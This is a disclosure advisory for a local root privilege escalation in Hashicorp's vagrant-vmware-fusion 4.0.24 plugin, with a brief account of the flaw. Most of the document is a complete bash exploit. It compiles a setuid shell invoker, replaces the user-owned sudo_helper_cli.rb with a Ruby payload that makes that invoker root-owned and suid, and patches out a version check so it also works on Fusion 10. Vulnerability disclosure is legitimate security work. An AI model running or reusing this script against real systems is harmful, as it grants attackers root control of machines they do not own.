Hashicorp vagrant-vmware-fusion 4.0.24 Local Root Privilege Escalation

2017.10.22
Credit: Anonymous
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

I have previously disclosed a couple of bugs in Hashicorp's vagrant-vmware-fusion plugin for vagrant. Unfortunately the 4.0.23 release which was supposed to fix the previous bug I reported didn't address the issue, so Hashicorp quickly put out another release - 4.0.24 - after that (but didn't update the public changelog on github). Unfortunately 4.0.24 is still vulnerable, largely due to a fundamental design flaw in the way the plugin is written combined with the need to elevate privileges for certain functions within Fusion. Because Hashicorp need users to be able to update the plugin as the local non-root user the encrypted ruby code that the plugin is comprised of must remain owned by the non-root user. This means there is a huge attack surface that we can exploit to manipulate the execution of the program and still get root on 4.0.24. I wrote this exploit before Fusion 10 was released and on the surface 4.0.24 is not compatible with Fusion 10. Curiously though it can be fairly easily tricked into working (at least partially) with Fusion 10 simply by patching out the version check and creating a symlink. I discovered this while trying to get the 4.0.24 exploit working with Fusion 10 installed - we can simply monkey-patch the version check out of the code, create a symlink for a binary that VMWare moved in v10 and then we're away. I was able to vagrant up and ssh into the running vm without any issues. It also means I was able to update the exploit so that it works on Fusion 8.x and Fusion 10. This seems to be (finally!) fixed properly in 4.0.25 by replacing the suid helper binary with a new go binary that contains all the required elevated operations and doesn't call back to the vulnerable ruby code. ref: https://m4.rkw.io/blog/cve201712579-local-root-privesc-in-hashicorp-vagrantvmwarefusion-4024.html #!/bin/bash echo echo "**********************************************************" echo "* vagrant_vmware_fusion plugin 4.0.24 local root privesc *" echo "* by m4rkw - https://m4.rkw.io/blog.html *"; echo "**********************************************************" echo "* works against vmware fusion 8.x and 10.x - even though *" echo "* 4.0.24 is not compatible with 10.x, we patch out the *" echo "* version check ;) *" echo "**********************************************************" echo cleanup() { exec 2> /dev/null killall -9 vagrant 1>/dev/null 2>/dev/null kill -9 `ps auxwww |egrep '\/vagrant up$' |xargs -L1 |cut -d ' ' -f2` &>/dev/null exec 2> /dev/tty x=`pwd |sed 's/.*\///'` if [ "$x" == ".vagrant_vmware_fusion_4024_exp" ] ; then cd .. rm -rf .vagrant_vmware_fusion_4024_exp fi cd rm -rf .vagrant_vmware_fusion_4024_exp if [ -e "$target1.bak" ] ; then mv -f $target1.bak $target1 fi if [ -e "$target2.orig" ] ; then mv -f $target2.orig $target2 fi } vuln=`find ~/.vagrant.d//gems/2.3.4/gems/vagrant-vmware-fusion-4.0.24/bin -type f -perm +4000` if [ "$vuln" == "" ] ; then echo "Vulnerable suid binary not found. It gets +s after the first vagrant up." exit 1 fi mkdir .vagrant_vmware_fusion_4024_exp cd .vagrant_vmware_fusion_4024_exp echo "Looking for a vmware_desktop vagrant box ..." box=`vagrant box list |grep '(vmware_desktop' |head -n1 |cut -d ' ' -f1` download=0 if [ "$box" == "" ] ; then download=1 echo "No box found, defaulting to envimation/ubuntu-xenial ..." box="envimation/ubuntu-xenial" fi echo "Writing a dummy vagrantfile ..." cat > vagrantfile <<EOF Vagrant.configure('2') do |config| config.vm.box = '$box' end EOF echo "Compiling the shell invoker ..." cat > /tmp/v.c <<EOF2 #include <unistd.h> int main() { setuid(0); seteuid(0); execl("/bin/bash","bash","-c","rm -f /tmp/v; /bin/bash",NULL); return 0; } EOF2 gcc -o /tmp/v /tmp/v.c rm -f /tmp/v.c echo "Looking for the sudo_helper_cli.rb ..." target1=`find ~/.vagrant.d/ -name sudo_helper_cli.rb |grep vagrant-vmware-fusion-4.0.24` if [ $target1 == "" ] ; then cleanup echo "sudo_helper_cli.rb version 4.0.24 not found" exit 1 fi echo "Installing ruby payload ..." if [ ! -e "$target1.bak" ] ; then mv -f $target1 $target1.bak if [ ! $? -eq 0 ] ; then cleanup echo "Unable to rename $target1, may not be exploitable." exit 1 fi fi cat > $target1 <<EOF #!/usr/bin/env ruby class HashiCorp::VagrantVMwarefusion::SudoHelperCLI def run(x) \`chown root:wheel /tmp/v\` \`chmod 4755 /tmp/v\` end end EOF if [ ! $? -eq 0 ] ; then cleanup echo "Unable to write to $target1, may not be exploitable." exit 1 fi vc=`/Applications/VMware\ Fusion.app/Contents/Library/vmware-vmx -v 2>&1 |grep 'VMware Fusion 10.'` if [ "$vc" != "" ] ; then echo "Fusion 10.x detected, Patching out the version check ..." target2=`find ~/.vagrant.d/ -name driver.rb |grep vagrant-vmware-fusion-4.0.24` if [ "$target2" == "" ] ; then cleanup echo "driver.rb version 4.0.24 not found" exit 1 fi if [ ! -e "$target2.orig" ] ; then mv -f $target2 $target2.orig if [ ! $? -eq 0 ] ; then cleanup echo "Unable to rename $target2, may not be exploitable." exit 1 fi fi cat > $target2 <<EOF load File.dirname(__FILE__) + "/driver.rb.orig" module DriverVersionHack def verify! end end class HashiCorp::VagrantVMwarefusion::Driver::Fusion prepend DriverVersionHack end EOF fi echo "Triggering vagrant up ..." vagrant up &>/dev/null & success=0 if [ $download -eq 1 ] ; then echo "*** we need to download the vmware box so this will take a minute or two ***" fi echo "Waiting for payload to trigger ..." count=0 while : do r=`ls -la /tmp/v |grep -- '-rwsr-xr-x 1 root wheel'` if [ "$r" != "" ] ; then success=1 break fi r=`ps auxwww |egrep '\/vagrant up$'` if [ "$r" == "" ] ; then break fi sleep 0.2 count=$(($count + 1)) if [ $count -eq 150 ] ; then echo "Timed out waiting for the payload to trigger." cleanup exit 1 fi done cleanup if [ ! $success -eq 1 ] ; then echo "Exploit failed." exit 1 fi echo /tmp/v

References:

https://m4.rkw.io/blog/cve201712579-local-root-privesc-in-hashicorp-vagrantvmwarefusion-4024.html


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